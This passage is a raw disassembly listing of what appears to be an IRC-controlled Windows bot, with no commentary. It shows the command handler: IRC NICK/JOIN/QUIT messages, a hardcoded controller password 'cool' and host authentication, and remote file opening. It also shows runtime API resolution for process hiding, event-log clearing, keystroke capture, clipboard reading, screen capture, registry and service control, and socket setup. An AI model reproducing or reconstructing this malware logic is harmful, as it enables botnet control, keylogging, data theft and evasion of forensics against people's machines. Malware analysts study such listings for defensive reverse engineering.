jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429F18 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429EE8 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_429EC8 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_429E98 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CB674 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB5EC ; gethostbyaddr cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_429E78 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CB6B8 ; gethostbyname cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB6C0 ; inet_ntoa push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_429E50 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429E28 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CB5A0 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429E08 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429DE4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_429DBC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42BB24 push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E57C[eax] call sub_409A2C pop ecx pop ecx push 1F4h call dword_427078 ; Sleep push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E57C[eax] call dword_4CB6CC ; closesocket push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E584[eax] call dword_4270AC ; TerminateThread push esi call sub_41B779 imul eax, 234h push esi mov dword_43E584[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E370[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_429D90 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429D68 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429D44 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429D18 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_42A484 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429CFC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_42A3E8 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429CD8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_429CB4 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429C90 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429C6C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax call dword_427078 ; Sleep loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429C44 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C20 loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42D0F0 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CB4EC push ebx inc esi call sub_41C0F4 push offset asc_429C1C ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429B9C jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429B48 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429B28 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429B08 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CB4E4, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB684 ; send leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_4 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CB684 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h call dword_427078 ; Sleep locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: sub_401221+4Bp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll_0 ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB6E0, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4CB654, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_4CB638, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4CB548, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB4F4, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB524, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB59C, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CB694, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB6F0, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB554, eax call esi ; GetProcAddress cmp dword_4CB6E0, ebx mov dword_4CB53C, eax jz short loc_409C10 cmp dword_4CB654, ebx jz short loc_409C10 cmp dword_4CB638, ebx jz short loc_409C10 cmp dword_4CB548, ebx jz short loc_409C10 cmp dword_4CB524, ebx jz short loc_409C10 cmp dword_4CB59C, ebx jz short loc_409C10 cmp dword_4CB694, ebx jz short loc_409C10 cmp dword_4CB6F0, ebx jz short loc_409C10 cmp dword_4CB554, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB6F4, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CB66C, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj call dword_42708C ; RtlGetLastWin32Error mov dword_4CB6F8, eax mov dword_4CB6F4, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" call dword_4270B8 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CB690, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_4CB640, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB5D4, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB6E4, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB604, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB624, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CB688, eax call esi ; GetProcAddress cmp dword_4CB690, ebx mov dword_4CB574, eax jz short loc_409D00 cmp dword_4CB640, ebx jz short loc_409D00 cmp dword_4CB5D4, ebx jz short loc_409D00 cmp dword_4CB6E4, ebx jz short loc_409D00 cmp dword_4CB604, ebx jz short loc_409D00 cmp dword_4CB624, ebx jz short loc_409D00 cmp dword_4CB688, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB6FC, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB600, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB508, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB5D0, eax call esi ; GetProcAddress cmp dword_4CB600, ebx mov dword_4CB5B8, eax jz short loc_409D67 cmp dword_4CB508, ebx jz short loc_409D67 cmp dword_4CB5D0, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j call dword_42708C ; RtlGetLastWin32Error mov dword_4CB700, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB6FC, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CB6A4, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB5E8, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB658, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB534, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB598, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB610, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB5B4, eax call esi ; GetProcAddress cmp dword_4CB6A4, ebx mov dword_4CB5C4, eax jz short loc_409E1A cmp dword_4CB5E8, ebx jz short loc_409E1A cmp dword_4CB658, ebx jz short loc_409E1A cmp dword_4CB534, ebx jz short loc_409E1A cmp dword_4CB598, ebx jz short loc_409E1A cmp dword_4CB610, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB704, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB618, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB5F0, eax call esi ; GetProcAddress cmp dword_4CB618, ebx mov dword_4CB6A0, eax jz short loc_409E5F cmp dword_4CB5F0, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB704, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB628, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB510, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4CB518, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB57C, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB580, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB52C, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB5F4, eax call esi ; GetProcAddress cmp dword_4CB628, ebx mov dword_4CB51C, eax jz short loc_409F0D cmp dword_4CB510, ebx jz short loc_409F0D cmp dword_4CB518, ebx jz short loc_409F0D cmp dword_4CB57C, ebx jz short loc_409F0D cmp dword_4CB580, ebx jz short loc_409F0D cmp dword_4CB52C, ebx jz short loc_409F0D cmp dword_4CB5F4, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB704, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CB514, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj call dword_42708C ; RtlGetLastWin32Error mov dword_4CB708, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB704, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB620, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CB678, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CB680, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB63C, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4CB558, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4CB504, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4CB67C, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB4F0, eax call esi ; GetProcAddress cmp dword_4CB620, ebx mov dword_4CB590, eax jz short loc_40A016 cmp dword_4CB678, ebx jz short loc_40A016 cmp dword_4CB680, ebx jz short loc_40A016 cmp dword_4CB63C, ebx jz short loc_40A016 cmp dword_4CB558, ebx jz short loc_40A016 cmp dword_4CB504, ebx jz short loc_40A016 cmp dword_4CB67C, ebx jz short loc_40A016 cmp dword_4CB4F0, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j call dword_42708C ; RtlGetLastWin32Error mov dword_4CB710, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB70C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB5A4, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB6D8, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB544, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB520, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB5E0, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB5C8, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4CB58C, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CB6B4, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4CB6D0, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB5DC, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4CB6C0, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_4CB674, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_4CB634, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_4CB630, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4CB564, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_4CB55C, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4CB684, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4CB698, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB64C, eax call esi ; GetProcAddress mov dword_4CB60C, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4CB660, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4CB61C, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_4CB65C, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB6C8, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4CB614, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4CB5D8, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB648, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CB6B8, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4CB5EC, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4CB588, eax call esi ; GetProcAddress cmp dword_4CB5A4, ebx mov dword_4CB6CC, eax jz loc_40A2E7 cmp dword_4CB6D8, ebx jz loc_40A2E7 cmp dword_4CB544, ebx jz loc_40A2E7 cmp dword_4CB5E0, ebx jz loc_40A2E7 cmp dword_4CB5C8, ebx jz loc_40A2E7 cmp dword_4CB58C, ebx jz loc_40A2E7 cmp dword_4CB6B4, ebx jz loc_40A2E7 cmp dword_4CB6D0, ebx jz loc_40A2E7 cmp dword_4CB5DC, ebx jz loc_40A2E7 cmp dword_4CB6C0, ebx jz loc_40A2E7 cmp dword_4CB674, ebx jz loc_40A2E7 cmp dword_4CB634, ebx jz loc_40A2E7 cmp dword_4CB630, ebx jz loc_40A2E7 cmp dword_4CB564, ebx jz short loc_40A2E7 cmp dword_4CB684, ebx jz short loc_40A2E7 cmp dword_4CB698, ebx jz short loc_40A2E7 cmp dword_4CB64C, 